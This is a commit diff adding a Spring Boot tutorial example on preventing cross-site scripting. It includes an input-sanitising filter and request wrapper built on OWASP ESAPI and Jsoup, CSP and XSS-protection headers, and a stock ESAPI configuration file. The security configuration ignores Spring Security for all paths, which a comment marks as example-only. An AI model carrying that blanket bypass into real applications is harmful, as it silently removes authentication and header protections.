Bael-4684-Prevent Cross-Site Scripting (XSS) in a Spring application-(new) (#10480)

* #bael-4684: add main source code

* #bael-4684: add test

* #bael-4684: add required dependencies

spring-security-modules/spring-5-security/pom.xml

@@ -46,6 +46,21 @@
             <artifactId>spring-security-test</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.owasp.esapi</groupId>
+            <artifactId>esapi</artifactId>
+            <version>2.2.2.0</version>
+        </dependency>
+        <dependency>
+            <groupId>org.jsoup</groupId>
+            <artifactId>jsoup</artifactId>
+            <version>1.13.1</version>
+        </dependency>
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.8.0</version>
+        </dependency>
     </dependencies>
 
     <build>

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/Application.java

@@ -0,0 +1,14 @@
+package com.baeldung.xss;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+
+@SpringBootApplication
+@EnableWebSecurity
+public class Application {
+
+    public static void main(String[] args) {
+        SpringApplication.run(Application.class, args);
+    }
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/Person.java

@@ -0,0 +1,36 @@
+package com.baeldung.xss;
+
+public class Person {
+    private String firstName;
+    private String lastName;
+    private int age;
+
+    public String getFirstName() {
+        return firstName;
+    }
+
+    public void setFirstName(String firstName) {
+        this.firstName = firstName;
+    }
+
+    public String getLastName() {
+        return lastName;
+    }
+
+    public void setLastName(String lastName) {
+        this.lastName = lastName;
+    }
+
+    public int getAge() {
+        return age;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+
+    @Override
+    public String toString() {
+        return "Person {" + "firstName='" + firstName + '\'' + ", lastName='" + lastName + '\'' + ", age=" + age + '}';
+    }
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/PersonController.java

@@ -0,0 +1,31 @@
+package com.baeldung.xss;
+
+import com.fasterxml.jackson.databind.node.JsonNodeFactory;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestHeader;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.RequestBody;
+
+import java.util.Map;
+
+@RestController
+@RequestMapping("/personService")
+public class PersonController {
+
+    @PostMapping(value = "/person")
+    private ResponseEntity<String> savePerson(@RequestHeader Map<String, String> headers,
+        @RequestParam String param, @RequestBody Person body) {
+        ObjectNode response = JsonNodeFactory.instance.objectNode();
+        headers.forEach((key, value) -> response.put(key, value));
+        response.put("firstName", body.getFirstName());
+        response.put("lastName", body.getLastName());
+        response.put("age", body.getAge());
+        response.put("param", param);
+        return new ResponseEntity<String>(response.toString(), HttpStatus.OK);
+    }
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/SecurityConf.java

@@ -0,0 +1,25 @@
+package com.baeldung.xss;
+
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.builders.WebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+
+@Configuration
+public class SecurityConf extends WebSecurityConfigurerAdapter {
+
+    @Override
+    public void configure(WebSecurity web) {
+        // Ignoring here is only for this example. Normally people would apply their own authentication/authorization policies
+        web.ignoring().antMatchers("/**");
+    }
+
+    @Override
+    protected void configure(HttpSecurity http) throws Exception {
+        http
+            .headers()
+            .xssProtection()
+            .and()
+            .contentSecurityPolicy("script-src 'self'");
+    }
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/XSSFilter.java

@@ -0,0 +1,44 @@
+package com.baeldung.xss;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang.StringUtils;
+import org.springframework.core.Ordered;
+import org.springframework.core.annotation.Order;
+import org.springframework.stereotype.Component;
+import javax.servlet.Filter;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.ServletException;
+import javax.servlet.FilterChain;
+import javax.servlet.http.HttpServletRequest;
+import java.io.IOException;
+
+@Component
+@Order(Ordered.HIGHEST_PRECEDENCE)
+public class XSSFilter implements Filter {
+
+    @Override
+    public void init(FilterConfig filterConfig) {
+    }
+
+    @Override
+    public void destroy() {
+    }
+
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
+        throws IOException, ServletException {
+
+        XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request);
+
+        String body = IOUtils.toString(wrappedRequest.getReader());
+        if (!StringUtils.isBlank(body)) {
+            body = XSSUtils.stripXSS(body);
+            wrappedRequest.resetInputStream(body.getBytes());
+        }
+
+        chain.doFilter(wrappedRequest, response);
+    }
+
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/XSSRequestWrapper.java

@@ -0,0 +1,123 @@
+package com.baeldung.xss;
+
+import org.apache.commons.codec.Charsets;
+import org.apache.commons.io.IOUtils;
+import javax.servlet.ReadListener;
+import javax.servlet.ServletInputStream;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletRequestWrapper;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.List;
+
+import static com.baeldung.xss.XSSUtils.stripXSS;
+
+
+public class XSSRequestWrapper extends HttpServletRequestWrapper {
+
+    private byte[] rawData;
+    private HttpServletRequest request;
+    private ResettableServletInputStream servletStream;
+
+    public XSSRequestWrapper(HttpServletRequest request) {
+        super(request);
+        this.request = request;
+        this.servletStream = new ResettableServletInputStream();
+    }
+
+    public void resetInputStream(byte[] newRawData) {
+        rawData = newRawData;
+        servletStream.stream = new ByteArrayInputStream(newRawData);
+    }
+
+    @Override
+    public ServletInputStream getInputStream() throws IOException {
+        if (rawData == null) {
+            rawData = IOUtils.toByteArray(this.request.getReader(), Charsets.UTF_8);
+            servletStream.stream = new ByteArrayInputStream(rawData);
+        }
+        return servletStream;
+    }
+
+    @Override
+    public BufferedReader getReader() throws IOException {
+        if (rawData == null) {
+            rawData = IOUtils.toByteArray(this.request.getReader(), Charsets.UTF_8);
+            servletStream.stream = new ByteArrayInputStream(rawData);
+        }
+        return new BufferedReader(new InputStreamReader(servletStream));
+    }
+
+    private class ResettableServletInputStream extends ServletInputStream {
+
+        private InputStream stream;
+
+        @Override
+        public int read() throws IOException {
+            return stream.read();
+        }
+
+        @Override
+        public boolean isFinished() {
+            return false;
+        }
+
+        @Override
+        public boolean isReady() {
+            return false;
+        }
+
+        @Override
+        public void setReadListener(ReadListener readListener) {
+
+        }
+    }
+
+    @Override
+    public String[] getParameterValues(String parameter) {
+        String[] values = super.getParameterValues(parameter);
+        if (values == null) {
+            return null;
+        }
+        int count = values.length;
+        String[] encodedValues = new String[count];
+        for (int i = 0; i < count; i++) {
+            encodedValues[i] = stripXSS(values[i]);
+        }
+        return encodedValues;
+    }
+
+    @Override
+    public String getParameter(String parameter) {
+        String value = super.getParameter(parameter);
+        return stripXSS(value);
+    }
+
+    @Override
+    public String getHeader(String name) {
+        String value = super.getHeader(name);
+        return stripXSS(value);
+    }
+
+    @Override
+    public Enumeration<String> getHeaders(String name) {
+        List<String> result = new ArrayList<>();
+        Enumeration<String> headers = super.getHeaders(name);
+        while (headers.hasMoreElements()) {
+            String header = headers.nextElement();
+            String[] tokens = header.split(",");
+            for (String token : tokens) {
+                result.add(stripXSS(token));
+            }
+        }
+        return Collections.enumeration(result);
+    }
+
+}

spring-security-modules/spring-5-security/src/main/java/com/baeldung/xss/XSSUtils.java

@@ -0,0 +1,19 @@
+package com.baeldung.xss;
+
+import org.jsoup.Jsoup;
+import org.jsoup.safety.Whitelist;
+import org.owasp.esapi.ESAPI;
+
+public class XSSUtils {
+
+    public static String stripXSS(String value) {
+        if (value == null) {
+            return null;
+        }
+        value = ESAPI.encoder()
+            .canonicalize(value)
+              .replaceAll("\0", "");
+        return Jsoup.clean(value, Whitelist.none());
+    }
+
+}

spring-security-modules/spring-5-security/src/main/resources/ESAPI.properties

@@ -0,0 +1,545 @@
+#
+# OWASP Enterprise Security API (ESAPI) Properties file -- PRODUCTION Version
+#
+# This file is part of the Open Web Application Security Project (OWASP)
+# Enterprise Security API (ESAPI) project. For details, please see
+# https://owasp.org/www-project-enterprise-security-api/
+#
+# Copyright (c) 2008,2009 - The OWASP Foundation
+#
+# DISCUSS: This may cause a major backwards compatibility issue, etc. but
+#		   from a name space perspective, we probably should have prefaced
+#		   all the property names with ESAPI or at least OWASP. Otherwise
+#		   there could be problems is someone loads this properties file into
+#		   the System properties.  We could also put this file into the
+#		   esapi.jar file (perhaps as a ResourceBundle) and then allow an external
+#		   ESAPI properties be defined that would overwrite these defaults.
+#		   That keeps the application's properties relatively simple as usually
+#		   they will only want to override a few properties. If looks like we
+#		   already support multiple override levels of this in the
+#		   DefaultSecurityConfiguration class, but I'm suggesting placing the
+#		   defaults in the esapi.jar itself. That way, if the jar is signed,
+#		   we could detect if those properties had been tampered with. (The
+#		   code to check the jar signatures is pretty simple... maybe 70-90 LOC,
+#		   but off course there is an execution penalty (similar to the way
+#		   that the separate sunjce.jar used to be when a class from it was
+#		   first loaded). Thoughts?
+###############################################################################
+#
+# WARNING: Operating system protection should be used to lock down the .esapi
+# resources directory and all the files inside and all the directories all the
+# way up to the root directory of the file system.  Note that if you are using
+# file-based implementations, that some files may need to be read-write as they
+# get updated dynamically.
+#
+#===========================================================================
+# ESAPI Configuration
+#
+# If true, then print all the ESAPI properties set here when they are loaded.
+# If false, they are not printed. Useful to reduce output when running JUnit tests.
+# If you need to troubleshoot a properties related problem, turning this on may help.
+# This is 'false' in the src/test/resources/.esapi version. It is 'true' by
+# default for reasons of backward compatibility with earlier ESAPI versions.
+ESAPI.printProperties=true
+
+# ESAPI is designed to be easily extensible. You can use the reference implementation
+# or implement your own providers to take advantage of your enterprise's security
+# infrastructure. The functions in ESAPI are referenced using the ESAPI locator, like:
+#
+#    String ciphertext =
+#		ESAPI.encryptor().encrypt("Secret message");   // Deprecated in 2.0
+#    CipherText cipherText =
+#		ESAPI.encryptor().encrypt(new PlainText("Secret message")); // Preferred
+#
+# Below you can specify the classname for the provider that you wish to use in your
+# application. The only requirement is that it implement the appropriate ESAPI interface.
+# This allows you to switch security implementations in the future without rewriting the
+# entire application.
+#
+# ExperimentalAccessController requires ESAPI-AccessControlPolicy.xml in .esapi directory
+ESAPI.AccessControl=org.owasp.esapi.reference.DefaultAccessController
+# FileBasedAuthenticator requires users.txt file in .esapi directory
+ESAPI.Authenticator=org.owasp.esapi.reference.FileBasedAuthenticator
+ESAPI.Encoder=org.owasp.esapi.reference.DefaultEncoder
+ESAPI.Encryptor=org.owasp.esapi.reference.crypto.JavaEncryptor
+
+ESAPI.Executor=org.owasp.esapi.reference.DefaultExecutor
+ESAPI.HTTPUtilities=org.owasp.esapi.reference.DefaultHTTPUtilities
+ESAPI.IntrusionDetector=org.owasp.esapi.reference.DefaultIntrusionDetector
+# Log4JFactory Requires log4j.xml or log4j.properties in classpath - http://www.laliluna.de/log4j-tutorial.html
+# Note that this is now considered deprecated!
+ESAPI.Logger=org.owasp.esapi.logging.slf4j.Slf4JLogFactory
+#ESAPI.Logger=org.owasp.esapi.logging.log4j.Log4JLogFactory
+#ESAPI.Logger=org.owasp.esapi.logging.java.JavaLogFactory
+# To use the new SLF4J logger in ESAPI (see GitHub issue #129), set
+#    ESAPI.Logger=org.owasp.esapi.logging.slf4j.Slf4JLogFactory
+# and do whatever other normal SLF4J configuration that you normally would do for your application.
+ESAPI.Randomizer=org.owasp.esapi.reference.DefaultRandomizer
+ESAPI.Validator=org.owasp.esapi.reference.DefaultValidator
+
+#===========================================================================
+# ESAPI Authenticator
+#
+Authenticator.AllowedLoginAttempts=3
+Authenticator.MaxOldPasswordHashes=13
+Authenticator.UsernameParameterName=username
+Authenticator.PasswordParameterName=password
+# RememberTokenDuration (in days)
+Authenticator.RememberTokenDuration=14
+# Session Timeouts (in minutes)
+Authenticator.IdleTimeoutDuration=20
+Authenticator.AbsoluteTimeoutDuration=120
+
+#===========================================================================
+# ESAPI Encoder
+#
+# ESAPI canonicalizes input before validation to prevent bypassing filters with encoded attacks.
+# Failure to canonicalize input is a very common mistake when implementing validation schemes.
+# Canonicalization is automatic when using the ESAPI Validator, but you can also use the
+# following code to canonicalize data.
+#
+#      ESAPI.Encoder().canonicalize( "%22hello world"" );
+#
+# Multiple encoding is when a single encoding format is applied multiple times. Allowing
+# multiple encoding is strongly discouraged.
+Encoder.AllowMultipleEncoding=false
+
+# Mixed encoding is when multiple different encoding formats are applied, or when
+# multiple formats are nested. Allowing multiple encoding is strongly discouraged.
+Encoder.AllowMixedEncoding=false
+
+# The default list of codecs to apply when canonicalizing untrusted data. The list should include the codecs
+# for all downstream interpreters or decoders. For example, if the data is likely to end up in a URL, HTML, or
+# inside JavaScript, then the list of codecs below is appropriate. The order of the list is not terribly important.
+Encoder.DefaultCodecList=HTMLEntityCodec,PercentCodec,JavaScriptCodec
+
+
+#===========================================================================
+# ESAPI Encryption
+#
+# The ESAPI Encryptor provides basic cryptographic functions with a simplified API.
+# To get started, generate a new key using java -classpath esapi.jar org.owasp.esapi.reference.crypto.JavaEncryptor
+# There is not currently any support for key rotation, so be careful when changing your key and salt as it
+# will invalidate all signed, encrypted, and hashed data.
+#
+# WARNING: Not all combinations of algorithms and key lengths are supported.
+# If you choose to use a key length greater than 128, you MUST download the
+# unlimited strength policy files and install in the lib directory of your JRE/JDK.
+# See http://java.sun.com/javase/downloads/index.jsp for more information.
+#
+#		***** IMPORTANT: Do NOT forget to replace these with your own values! *****
+# To calculate these values, you can run:
+#		java -classpath esapi.jar org.owasp.esapi.reference.crypto.JavaEncryptor
+#
+#Encryptor.MasterKey=
+#Encryptor.MasterSalt=
+
+# Provides the default JCE provider that ESAPI will "prefer" for its symmetric
+# encryption and hashing. (That is it will look to this provider first, but it
+# will defer to other providers if the requested algorithm is not implemented
+# by this provider.) If left unset, ESAPI will just use your Java VM's current
+# preferred JCE provider, which is generally set in the file
+# "$JAVA_HOME/jre/lib/security/java.security".
+#
+# The main intent of this is to allow ESAPI symmetric encryption to be
+# used with a FIPS 140-2 compliant crypto-module. For details, see the section
+# "Using ESAPI Symmetric Encryption with FIPS 140-2 Cryptographic Modules" in
+# the ESAPI 2.0 Symmetric Encryption User Guide, at:
+# http://owasp-esapi-java.googlecode.com/svn/trunk/documentation/esapi4java-core-2.0-symmetric-crypto-user-guide.html
+# However, this property also allows you to easily use an alternate JCE provider
+# such as "Bouncy Castle" without having to make changes to "java.security".
+# See Javadoc for SecurityProviderLoader for further details. If you wish to use
+# a provider that is not known to SecurityProviderLoader, you may specify the
+# fully-qualified class name of the JCE provider class that implements
+# java.security.Provider. If the name contains a '.', this is interpreted as
+# a fully-qualified class name that implements java.security.Provider.
+#
+# NOTE: Setting this property has the side-effect of changing it in your application
+#       as well, so if you are using JCE in your application directly rather than
+#       through ESAPI (you wouldn't do that, would you? ;-), it will change the
+#       preferred JCE provider there as well.
+#
+# Default: Keeps the JCE provider set to whatever JVM sets it to.
+Encryptor.PreferredJCEProvider=
+
+# AES is the most widely used and strongest encryption algorithm. This
+# should agree with your Encryptor.CipherTransformation property.
+# Warning: This property does not control the default reference implementation for
+#		   ESAPI 2.0 using JavaEncryptor. Also, this property will be dropped
+#		   in the future.
+# @deprecated
+Encryptor.EncryptionAlgorithm=AES
+#		For ESAPI Java 2.0 - New encrypt / decrypt methods use this.
+Encryptor.CipherTransformation=AES/CBC/PKCS5Padding
+
+# Applies to ESAPI 2.0 and later only!
+# Comma-separated list of cipher modes that provide *BOTH*
+# confidentiality *AND* message authenticity. (NIST refers to such cipher
+# modes as "combined modes" so that's what we shall call them.) If any of these
+# cipher modes are used then no MAC is calculated and stored
+# in the CipherText upon encryption. Likewise, if one of these
+# cipher modes is used with decryption, no attempt will be made
+# to validate the MAC contained in the CipherText object regardless
+# of whether it contains one or not. Since the expectation is that
+# these cipher modes support support message authenticity already,
+# injecting a MAC in the CipherText object would be at best redundant.
+#
+# Note that as of JDK 1.5, the SunJCE provider does not support *any*
+# of these cipher modes. Of these listed, only GCM and CCM are currently
+# NIST approved. YMMV for other JCE providers. E.g., Bouncy Castle supports
+# GCM and CCM with "NoPadding" mode, but not with "PKCS5Padding" or other
+# padding modes.
+Encryptor.cipher_modes.combined_modes=GCM,CCM,IAPM,EAX,OCB,CWC
+
+# Applies to ESAPI 2.0 and later only!
+# Additional cipher modes allowed for ESAPI 2.0 encryption. These
+# cipher modes are in _addition_ to those specified by the property
+# 'Encryptor.cipher_modes.combined_modes'.
+# Note: We will add support for streaming modes like CFB & OFB once
+# we add support for 'specified' to the property 'Encryptor.ChooseIVMethod'
+# (probably in ESAPI 2.1).
+# DISCUSS: Better name?
+Encryptor.cipher_modes.additional_allowed=CBC
+
+# Default key size to use for cipher specified by Encryptor.EncryptionAlgorithm.
+# Note that this MUST be a valid key size for the algorithm being used
+# (as specified by Encryptor.EncryptionAlgorithm). So for example, if AES is used,
+# it must be 128, 192, or 256. If DESede is chosen, then it must be either 112 or 168.
+#
+# Note that 128-bits is almost always sufficient and for AES it appears to be more
+# somewhat more resistant to related key attacks than is 256-bit AES.)
+#
+# Defaults to 128-bits if left blank.
+#
+# NOTE: If you use a key size > 128-bits, then you MUST have the JCE Unlimited
+#       Strength Jurisdiction Policy files installed!!!
+#
+Encryptor.EncryptionKeyLength=128
+
+# This is the _minimum_ key size (in bits) that we allow with ANY symmetric
+# cipher for doing encryption. (There is no minimum for decryption.)
+#
+# Generally, if you only use one algorithm, this should be set the same as
+# the Encryptor.EncryptionKeyLength property.
+Encryptor.MinEncryptionKeyLength=128
+
+# Because 2.x uses CBC mode by default, it requires an initialization vector (IV).
+# (All cipher modes except ECB require an IV.) There are two choices: we can either
+# use a fixed IV known to both parties or allow ESAPI to choose a random IV. While
+# the IV does not need to be hidden from adversaries, it is important that the
+# adversary not be allowed to choose it. Also, random IVs are generally much more
+# secure than fixed IVs. (In fact, it is essential that feed-back cipher modes
+# such as CFB and OFB use a different IV for each encryption with a given key so
+# in such cases, random IVs are much preferred. By default, ESAPI 2.0 uses random
+# IVs. If you wish to use 'fixed' IVs, set 'Encryptor.ChooseIVMethod=fixed' and
+# uncomment the Encryptor.fixedIV.
+#
+# Valid values:		random|fixed|specified		'specified' not yet implemented; planned for 2.3
+#                                               'fixed' is deprecated as of 2.2
+#                                               and will be removed in 2.3.
+Encryptor.ChooseIVMethod=random
+
+
+# If you choose to use a fixed IV, then you must place a fixed IV here that
+# is known to all others who are sharing your secret key. The format should
+# be a hex string that is the same length as the cipher block size for the
+# cipher algorithm that you are using. The following is an *example* for AES
+# from an AES test vector for AES-128/CBC as described in:
+# NIST Special Publication 800-38A (2001 Edition)
+# "Recommendation for Block Cipher Modes of Operation".
+# (Note that the block size for AES is 16 bytes == 128 bits.)
+#
+#   @Deprecated -- fixed IVs are deprecated as of the 2.2 release and support
+#                  will be removed in the next release (tentatively, 2.3).
+#                  If you MUST use this, at least replace this IV with one
+#                  that your legacy application was using.
+Encryptor.fixedIV=0x000102030405060708090a0b0c0d0e0f
+
+# Whether or not CipherText should use a message authentication code (MAC) with it.
+# This prevents an adversary from altering the IV as well as allowing a more
+# fool-proof way of determining the decryption failed because of an incorrect
+# key being supplied. This refers to the "separate" MAC calculated and stored
+# in CipherText, not part of any MAC that is calculated as a result of a
+# "combined mode" cipher mode.
+#
+# If you are using ESAPI with a FIPS 140-2 cryptographic module, you *must* also
+# set this property to false. That is because ESAPI takes the master key and
+# derives 2 keys from it--a key for the MAC and a key for encryption--and
+# because ESAPI is not itself FIPS 140-2 verified such intermediary aterations
+# to keys from FIPS approved sources would have the effect of making your FIPS
+# approved key generation and thus your FIPS approved JCE provider unapproved!
+# More details in
+#       documentation/esapi4java-core-2.0-readme-crypto-changes.html
+#       documentation/esapi4java-core-2.0-symmetric-crypto-user-guide.html
+# You have been warned.
+Encryptor.CipherText.useMAC=true
+
+# Whether or not the PlainText object may be overwritten and then marked
+# eligible for garbage collection. If not set, this is still treated as 'true'.
+Encryptor.PlainText.overwrite=true
+
+# Do not use DES except in a legacy situations. 56-bit is way too small key size.
+#Encryptor.EncryptionKeyLength=56
+#Encryptor.MinEncryptionKeyLength=56
+#Encryptor.EncryptionAlgorithm=DES
+
+# TripleDES is considered strong enough for most purposes.
+#	Note:	There is also a 112-bit version of DESede. Using the 168-bit version
+#			requires downloading the special jurisdiction policy from Sun.
+#Encryptor.EncryptionKeyLength=168
+#Encryptor.MinEncryptionKeyLength=112
+#Encryptor.EncryptionAlgorithm=DESede
+
+Encryptor.HashAlgorithm=SHA-512
+Encryptor.HashIterations=1024
+Encryptor.DigitalSignatureAlgorithm=SHA1withDSA
+Encryptor.DigitalSignatureKeyLength=1024
+Encryptor.RandomAlgorithm=SHA1PRNG
+Encryptor.CharacterEncoding=UTF-8
+
+# This is the Pseudo Random Function (PRF) that ESAPI's Key Derivation Function
+# (KDF) normally uses. Note this is *only* the PRF used for ESAPI's KDF and
+# *not* what is used for ESAPI's MAC. (Currently, HmacSHA1 is always used for
+# the MAC, mostly to keep the overall size at a minimum.)
+#
+# Currently supported choices for JDK 1.5 and 1.6 are:
+#	HmacSHA1 (160 bits), HmacSHA256 (256 bits), HmacSHA384 (384 bits), and
+#	HmacSHA512 (512 bits).
+# Note that HmacMD5 is *not* supported for the PRF used by the KDF even though
+# the JDKs support it.  See the ESAPI 2.0 Symmetric Encryption User Guide
+# further details.
+Encryptor.KDF.PRF=HmacSHA256
+#===========================================================================
+# ESAPI HttpUtilties
+#
+# The HttpUtilities provide basic protections to HTTP requests and responses. Primarily these methods
+# protect against malicious data from attackers, such as unprintable characters, escaped characters,
+# and other simple attacks. The HttpUtilities also provides utility methods for dealing with cookies,
+# headers, and CSRF tokens.
+#
+# Default file upload location (remember to escape backslashes with \\)
+HttpUtilities.UploadDir=C:\\ESAPI\\testUpload
+HttpUtilities.UploadTempDir=C:\\temp
+# Force flags on cookies, if you use HttpUtilities to set cookies
+HttpUtilities.ForceHttpOnlySession=false
+HttpUtilities.ForceSecureSession=false
+HttpUtilities.ForceHttpOnlyCookies=true
+HttpUtilities.ForceSecureCookies=true
+# Maximum size of HTTP header key--the validator regex may have additional values.
+HttpUtilities.MaxHeaderNameSize=256
+# Maximum size of HTTP header value--the validator regex may have additional values.
+HttpUtilities.MaxHeaderValueSize=4096
+# Maximum size of JSESSIONID for the application--the validator regex may have additional values.
+HttpUtilities.HTTPJSESSIONIDLENGTH=50
+# Maximum length of a URL (see https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers)
+HttpUtilities.URILENGTH=2000
+# Maximum length of a redirect
+HttpUtilities.maxRedirectLength=512
+# Maximum length for an http scheme
+HttpUtilities.HTTPSCHEMELENGTH=10
+# Maximum length for an http host
+HttpUtilities.HTTPHOSTLENGTH=100
+# Maximum length for an http path
+HttpUtilities.HTTPPATHLENGTH=150
+#Maximum length for a context path
+HttpUtilities.contextPathLength=150
+#Maximum length for an httpServletPath
+HttpUtilities.HTTPSERVLETPATHLENGTH=100
+#Maximum length for an http query parameter name
+HttpUtilities.httpQueryParamNameLength=100
+#Maximum length for an http query parameter -- old default was 2000, but that's the max length for a URL...
+HttpUtilities.httpQueryParamValueLength=500
+# File upload configuration
+HttpUtilities.ApprovedUploadExtensions=.pdf,.doc,.docx,.ppt,.pptx,.xls,.xlsx,.rtf,.txt,.jpg,.png
+HttpUtilities.MaxUploadFileBytes=500000000
+# Using UTF-8 throughout your stack is highly recommended. That includes your database driver,
+# container, and any other technologies you may be using. Failure to do this may expose you
+# to Unicode transcoding injection attacks. Use of UTF-8 does not hinder internationalization.
+HttpUtilities.ResponseContentType=text/html; charset=UTF-8
+# This is the name of the cookie used to represent the HTTP session
+# Typically this will be the default "JSESSIONID"
+HttpUtilities.HttpSessionIdName=JSESSIONID
+#Sets whether or not we will overwrite http status codes to 200.
+HttpUtilities.OverwriteStatusCodes=true
+#Sets the application's base character encoding.  This is forked from the Java Encryptor property.
+HttpUtilities.CharacterEncoding=UTF-8
+
+#===========================================================================
+# ESAPI Executor
+# CHECKME - This should be made OS independent. Don't use unsafe defaults.
+# # Examples only -- do NOT blindly copy!
+#   For Windows:
+#     Executor.WorkingDirectory=C:\\Windows\\Temp
+#     Executor.ApprovedExecutables=C:\\Windows\\System32\\cmd.exe,C:\\Windows\\System32\\runas.exe
+#   For *nux, MacOS:
+#     Executor.WorkingDirectory=/tmp
+#     Executor.ApprovedExecutables=/bin/bash
+Executor.WorkingDirectory=
+Executor.ApprovedExecutables=
+
+
+#===========================================================================
+# ESAPI Logging
+# Set the application name if these logs are combined with other applications
+Logger.ApplicationName=ExampleApplication
+# If you use an HTML log viewer that does not properly HTML escape log data, you can set LogEncodingRequired to true
+Logger.LogEncodingRequired=false
+# Determines whether ESAPI should log the application name. This might be clutter in some single-server/single-app environments.
+Logger.LogApplicationName=true
+# Determines whether ESAPI should log the server IP and port. This might be clutter in some single-server environments.
+Logger.LogServerIP=true
+# LogFileName, the name of the logging file. Provide a full directory path (e.g., C:\\ESAPI\\ESAPI_logging_file) if you
+# want to place it in a specific directory.
+Logger.LogFileName=ESAPI_logging_file
+# MaxLogFileSize, the max size (in bytes) of a single log file before it cuts over to a new one (default is 10,000,000)
+Logger.MaxLogFileSize=10000000
+# Determines whether ESAPI should log the user info.
+Logger.UserInfo=true
+# Determines whether ESAPI should log the session id and client IP.
+Logger.ClientInfo=true
+
+#===========================================================================
+# ESAPI Intrusion Detection
+#
+# Each event has a base to which .count, .interval, and .action are added
+# The IntrusionException will fire if we receive "count" events within "interval" seconds
+# The IntrusionDetector is configurable to take the following actions: log, logout, and disable
+#  (multiple actions separated by commas are allowed e.g. event.test.actions=log,disable
+#
+# Custom Events
+# Names must start with "event." as the base
+# Use IntrusionDetector.addEvent( "test" ) in your code to trigger "event.test" here
+# You can also disable intrusion detection completely by changing
+# the following parameter to true
+#
+IntrusionDetector.Disable=false
+#
+IntrusionDetector.event.test.count=2
+IntrusionDetector.event.test.interval=10
+IntrusionDetector.event.test.actions=disable,log
+
+# Exception Events
+# All EnterpriseSecurityExceptions are registered automatically
+# Call IntrusionDetector.getInstance().addException(e) for Exceptions that do not extend EnterpriseSecurityException
+# Use the fully qualified classname of the exception as the base
+
+# any intrusion is an attack
+IntrusionDetector.org.owasp.esapi.errors.IntrusionException.count=1
+IntrusionDetector.org.owasp.esapi.errors.IntrusionException.interval=1
+IntrusionDetector.org.owasp.esapi.errors.IntrusionException.actions=log,disable,logout
+
+# for test purposes
+# CHECKME: Shouldn't there be something in the property name itself that designates
+#		   that these are for testing???
+IntrusionDetector.org.owasp.esapi.errors.IntegrityException.count=10
+IntrusionDetector.org.owasp.esapi.errors.IntegrityException.interval=5
+IntrusionDetector.org.owasp.esapi.errors.IntegrityException.actions=log,disable,logout
+
+# rapid validation errors indicate scans or attacks in progress
+# org.owasp.esapi.errors.ValidationException.count=10
+# org.owasp.esapi.errors.ValidationException.interval=10
+# org.owasp.esapi.errors.ValidationException.actions=log,logout
+
+# sessions jumping between hosts indicates session hijacking
+IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.count=2
+IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.interval=10
+IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.actions=log,logout
+
+
+#===========================================================================
+# ESAPI Validation
+#
+# The ESAPI Validator works on regular expressions with defined names. You can define names
+# either here, or you may define application specific patterns in a separate file defined below.
+# This allows enterprises to specify both organizational standards as well as application specific
+# validation rules.
+#
+# Use '\p{L}' (without the quotes) within the character class to match
+# any Unicode LETTER. You can also use a range, like:  \u00C0-\u017F
+# You can also use any of the regex flags as documented at
+# https://docs.oracle.com/javase/tutorial/essential/regex/pattern.html, e.g. (?u)
+#
+Validator.ConfigurationFile=validation.properties
+
+# Validators used by ESAPI
+Validator.AccountName=^[a-zA-Z0-9]{3,20}$
+Validator.SystemCommand=^[a-zA-Z\\-\\/]{1,64}$
+Validator.RoleName=^[a-z]{1,20}$
+
+#the word TEST below should be changed to your application
+#name - only relative URL's are supported
+Validator.Redirect=^\\/test.*$
+
+# Global HTTP Validation Rules
+# Values with Base64 encoded data (e.g. encrypted state) will need at least [a-zA-Z0-9\/+=]
+Validator.HTTPScheme=^(http|https)$
+Validator.HTTPServerName=^[a-zA-Z0-9_.\\-]*$
+Validator.HTTPCookieName=^[a-zA-Z0-9\\-_]{1,32}$
+Validator.HTTPCookieValue=^[a-zA-Z0-9\\-\\/+=_ ]*$
+# Note that headerName and Value length is also configured in the HTTPUtilities section
+Validator.HTTPHeaderName=^[a-zA-Z0-9\\-_]{1,256}$
+Validator.HTTPHeaderValue=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ ]*$
+Validator.HTTPServletPath=^[a-zA-Z0-9.\\-\\/_]*$
+Validator.HTTPPath=^[a-zA-Z0-9.\\-_]*$
+Validator.HTTPURL=^.*$
+Validator.HTTPJSESSIONID=^[A-Z0-9]{10,32}$
+
+
+# Contributed by Fraenku@gmx.ch
+# Github Issue 126 https://github.com/ESAPI/esapi-java-legacy/issues/126
